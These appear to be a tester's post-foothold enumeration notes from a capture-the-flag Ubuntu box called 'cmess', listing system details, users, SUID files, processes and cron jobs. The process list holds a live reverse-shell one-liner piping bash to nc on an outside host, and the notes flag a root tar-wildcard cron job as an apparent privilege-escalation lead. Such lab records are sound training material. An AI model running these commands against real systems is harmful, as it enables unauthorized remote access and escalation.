CMesS_Initial_Foothold_UNIX

System/Kernel

---

www-data@cmess:/var/www/html/tmp$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=04eca96c5bf3e9a300952a29ef3218f00487d37b, stripped
Linux cmess 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.6 LTS"
NAME="Ubuntu"
VERSION="16.04.6 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.6 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial

64-bit Ubuntu 16.04.6 LTS (Xenial Xerus) 4.4.0-142-generic

Networks

---

www-data@cmess:/var/www/html/tmp$ ip route ; arp -a
default via 10.10.0.1 dev eth0 
10.10.0.0/16 dev eth0  proto kernel  scope link  src 10.10.107.72 
ip-10-10-0-1.eu-west-1.compute.internal (10.10.0.1) at 02:c8:85:b5:5a:aa [ether] on eth0

www-data@cmess:/var/www/html/tmp$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0    141 10.10.107.72:44554      10.9.1.180:9999         ESTABLISHED 30737/nc        
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -               

127.0.0.1:3306

Users & Groups

---

www-data@cmess:/var/www/html/tmp$ cat /etc/passwd ; ls -lasht /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
andre:x:1000:1000:andre,,,:/home/andre:/bin/bash
mysql:x:108:117:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:109:65534::/var/run/sshd:/usr/sbin/nologin
total 12K
4.0K drwxr-x---  4 andre andre 4.0K Feb  9  2020 andre
4.0K drwxr-xr-x  3 root  root  4.0K Feb  6  2020 .
4.0K drwxr-xr-x 22 root  root  4.0K Feb  6  2020 ..

andre

www-data@cmess:/var/www/html/tmp$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=101(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=102(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=103(systemd-bus-proxy) gid=105(systemd-bus-proxy) groups=105(systemd-bus-proxy)
uid=104(syslog) gid=108(syslog) groups=108(syslog),4(adm)
uid=105(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=106(messagebus) gid=110(messagebus) groups=110(messagebus)
uid=107(uuidd) gid=111(uuidd) groups=111(uuidd)
uid=1000(andre) gid=1000(andre) groups=1000(andre)
uid=108(mysql) gid=117(mysql) groups=117(mysql)
uid=109(sshd) gid=65534(nogroup) groups=65534(nogroup)

uid=1000(andre) gid=1000(andre) groups=1000(andre)

SUIDs

---

www-data@cmess:/var/www/html/tmp$ find / -perm -04000 -ls -type f 2>/dev/null
   793613     12 -rwsr-xr-x   1 root     root        10624 May  8  2018 /usr/bin/vmware-user-suid-wrapper
   783398     40 -rwsr-xr-x   1 root     root        40432 May 16  2017 /usr/bin/chsh
   783459     76 -rwsr-xr-x   1 root     root        75304 May 16  2017 /usr/bin/gpasswd
   783525     40 -rwsr-xr-x   1 root     root        39904 May 16  2017 /usr/bin/newgrp
   783536     56 -rwsr-xr-x   1 root     root        54256 May 16  2017 /usr/bin/passwd
   783396     52 -rwsr-xr-x   1 root     root        49584 May 16  2017 /usr/bin/chfn
   783620    136 -rwsr-xr-x   1 root     root       136808 Jul  4  2017 /usr/bin/sudo
   783722     12 -rwsr-xr-x   1 root     root        10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
   794343    420 -rwsr-xr-x   1 root     root       428240 Mar  4  2019 /usr/lib/openssh/ssh-keysign
   790045     44 -rwsr-xr--   1 root     messagebus    42992 Jan 12  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   134288    140 -rwsr-xr-x   1 root     root         142032 Jan 28  2017 /bin/ntfs-3g
   134285     32 -rwsr-xr-x   1 root     root          30800 Jul 12  2016 /bin/fusermount
   130621     40 -rwsr-xr-x   1 root     root          40152 May 16  2018 /bin/mount
   130636     44 -rwsr-xr-x   1 root     root          44680 May  7  2014 /bin/ping6
   130652     40 -rwsr-xr-x   1 root     root          40128 May 16  2017 /bin/su
   130635     44 -rwsr-xr-x   1 root     root          44168 May  7  2014 /bin/ping
   130670     28 -rwsr-xr-x   1 root     root          27608 May 16  2018 /bin/umount

SGIDs

---

www-data@cmess:/var/www/html/tmp$ find / -perm -02000 -ls -type f 2>/dev/null
   783444     24 -rwxr-sr-x   1 root     shadow      22768 May 16  2017 /usr/bin/expiry
   783393     64 -rwxr-sr-x   1 root     shadow      62336 May 16  2017 /usr/bin/chage
   794330    352 -rwxr-sr-x   1 root     ssh        358624 Mar  4  2019 /usr/bin/ssh-agent
   783674     28 -rwxr-sr-x   1 root     tty         27368 May 16  2018 /usr/bin/wall
   783407     36 -rwxr-sr-x   1 root     crontab     36080 Apr  5  2016 /usr/bin/crontab
   791276     16 -rwxr-sr-x   1 root     tty         14752 Mar  1  2016 /usr/bin/bsd-write
   791928     40 -rwxr-sr-x   1 root     mlocate     39520 Nov 17  2014 /usr/bin/mlocate
   792376      4 drwxrwsr-x   3 root     staff        4096 Feb  6  2020 /usr/local/share/emacs
   792377      4 drwxrwsr-x   2 root     staff        4096 Feb  6  2020 /usr/local/share/emacs/site-lisp
   793615      4 drwxrwsr-x   2 root     staff        4096 Feb  6  2020 /usr/local/share/fonts
   790349      4 drwxrwsr-x   6 root     staff        4096 Feb  6  2020 /usr/local/share/xml
   790353      4 drwxrwsr-x   2 root     staff        4096 Feb  6  2020 /usr/local/share/xml/schema
   790350      4 drwxrwsr-x   2 root     staff        4096 Feb  6  2020 /usr/local/share/xml/misc
   790352      4 drwxrwsr-x   2 root     staff        4096 Feb  6  2020 /usr/local/share/xml/entities
   790351      4 drwxrwsr-x   2 root     staff        4096 Feb  6  2020 /usr/local/share/xml/declaration
   790313      4 drwxrwsr-x   7 root     staff        4096 Feb  6  2020 /usr/local/share/sgml
   790317      4 drwxrwsr-x   2 root     staff        4096 Feb  6  2020 /usr/local/share/sgml/misc
   790316      4 drwxrwsr-x   2 root     staff        4096 Feb  6  2020 /usr/local/share/sgml/entities
   790315      4 drwxrwsr-x   2 root     staff        4096 Feb  6  2020 /usr/local/share/sgml/stylesheet
   790314      4 drwxrwsr-x   2 root     staff        4096 Feb  6  2020 /usr/local/share/sgml/declaration
   790318      4 drwxrwsr-x   2 root     staff        4096 Feb  6  2020 /usr/local/share/sgml/dtd
   786373      4 drwxrwsr-x   3 root     staff        4096 Feb  6  2020 /usr/local/lib/python3.5
   786374      4 drwxrwsr-x   2 root     staff        4096 Feb 26  2019 /usr/local/lib/python3.5/dist-packages
  1044591     36 -rwxr-sr-x   1 root     shadow      35600 Apr  9  2018 /sbin/unix_chkpwd
  1044555     36 -rwxr-sr-x   1 root     shadow      35632 Apr  9  2018 /sbin/pam_extrausers_chkpwd
      242      0 drwxr-sr-x   3 root     systemd-journal       60 Jul 22 04:15 /run/log/journal
      243      0 drwxr-s---   2 root     systemd-journal       80 Jul 22 04:30 /run/log/journal/ac7d60f1db7338e66fd80c695e3cc466
     1024      4 drwxrwsr-x   2 root     mail                4096 Feb 26  2019 /var/mail
     6990      4 drwxr-sr-x   2 man      root                4096 Feb  6  2020 /var/cache/man
     1008      4 drwxrwsr-x   2 root     staff               4096 Apr 12  2016 /var/local

Processes

---

www-data@cmess:/var/www/html/tmp$ ps -auxwww
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.8  37720  4008 ?        Ss   04:15   0:00 /sbin/init noprompt
root       196  0.0  0.4  27704  2208 ?        Ss   04:15   0:00 /lib/systemd/systemd-journald
root       247  0.0  0.6  45476  3412 ?        Ss   04:15   0:00 /lib/systemd/systemd-udevd
systemd+   320  0.0  0.4 100324  2464 ?        Ssl  04:15   0:00 /lib/systemd/systemd-timesyncd
root       529  0.0  0.4  16124  2004 ?        Ss   04:15   0:00 /sbin/dhclient -1 -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root       592  0.0  0.5  29008  2732 ?        Ss   04:15   0:00 /usr/sbin/cron -f
syslog     593  0.0  0.5 256392  2768 ?        Ssl  04:15   0:00 /usr/sbin/rsyslogd -n
root       597  0.0  0.6 275860  3348 ?        Ssl  04:15   0:00 /usr/lib/accountsservice/accounts-daemon
root       598  0.0  0.1  20096   892 ?        Ss   04:15   0:00 /lib/systemd/systemd-logind
message+   618  0.0  0.5  42896  2764 ?        Ss   04:15   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
mysql      661 25.5 36.3 1131560 181024 ?      Ssl  04:15  12:03 /usr/sbin/mysqld
root       671  0.0  0.3  15936  1640 tty1     Ss+  04:15   0:00 /sbin/agetty --noclear tty1 linux
root       673  0.0  0.4  15752  2028 ttyS0    Ss+  04:15   0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
root       684  0.0  0.5  65512  2492 ?        Ss   04:15   0:00 /usr/sbin/sshd -D
root       717  0.0  4.3 303048 21884 ?        Ss   04:15   0:00 /usr/sbin/apache2 -k start
root       744  0.0  3.6 266376 17928 ?        Ss   04:15   0:00 php-fpm: master process (/etc/php/7.0/fpm/php-fpm.conf)
www-data   746  0.0  0.8 266376  4248 ?        S    04:15   0:00 php-fpm: pool www
www-data   747  0.0  0.8 266376  4248 ?        S    04:15   0:00 php-fpm: pool www
www-data  1031  0.2  2.7 303536 13664 ?        S    04:18   0:07 /usr/sbin/apache2 -k start
www-data  1274  0.3  2.8 303712 14012 ?        S    04:18   0:09 /usr/sbin/apache2 -k start
www-data 30575  0.0  1.5 303344  7772 ?        S    04:43   0:00 /usr/sbin/apache2 -k start
www-data 30591  0.0  2.1 303540 10652 ?        S    04:43   0:00 /usr/sbin/apache2 -k start
www-data 30605  0.0  2.8 303768 14128 ?        S    04:43   0:00 /usr/sbin/apache2 -k start
www-data 30623  0.0  2.6 303724 13108 ?        S    04:43   0:00 /usr/sbin/apache2 -k start
www-data 30633  0.0  2.6 303700 13260 ?        S    04:43   0:00 /usr/sbin/apache2 -k start
www-data 30656  0.0  1.5 303344  7752 ?        S    04:43   0:00 /usr/sbin/apache2 -k start
www-data 30657  0.0  1.5 303320  7652 ?        S    04:43   0:00 /usr/sbin/apache2 -k start
www-data 30667  0.0  1.5 303320  7608 ?        S    04:43   0:00 /usr/sbin/apache2 -k start
www-data 30732  0.0  0.1   4504   840 ?        S    04:55   0:00 sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.9.1.180 9999 >/tmp/f
www-data 30735  0.0  0.1   4532   692 ?        S    04:55   0:00 cat /tmp/f
www-data 30736  0.0  0.6  18216  3172 ?        S    04:55   0:00 /bin/bash -i
www-data 30737  0.0  0.3  11300  1716 ?        S    04:55   0:00 nc 10.9.1.180 9999
www-data 30809  0.0  0.5  34424  2804 ?        R    05:02   0:00 ps -auxwww

/usr/sbin/cron -f /usr/sbin/mysqld

Cron & Systemd

---

www-data@cmess:/var/www/html/tmp$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
NEXT                         LEFT          LAST                         PASSED    UNIT                         ACTIVATES
Mon 2024-07-22 06:49:31 PDT  1h 45min left Mon 2024-07-22 04:15:23 PDT  48min ago apt-daily-upgrade.timer      apt-daily-upgrade.service
Mon 2024-07-22 15:21:33 PDT  10h left      Mon 2024-07-22 04:15:23 PDT  48min ago apt-daily.timer              apt-daily.service
Tue 2024-07-23 04:30:16 PDT  23h left      Mon 2024-07-22 04:30:16 PDT  33min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
 
3 timers listed.
Pass --all to see loaded but inactive timers, too.

*/2 * * * * root cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *

Sudo Version

---

www-data@cmess:/var/www/html/tmp$ sudo --version
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16

Sudo version 1.8.16

Glibc Version

---

www-data@cmess:/var/www/html/tmp$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23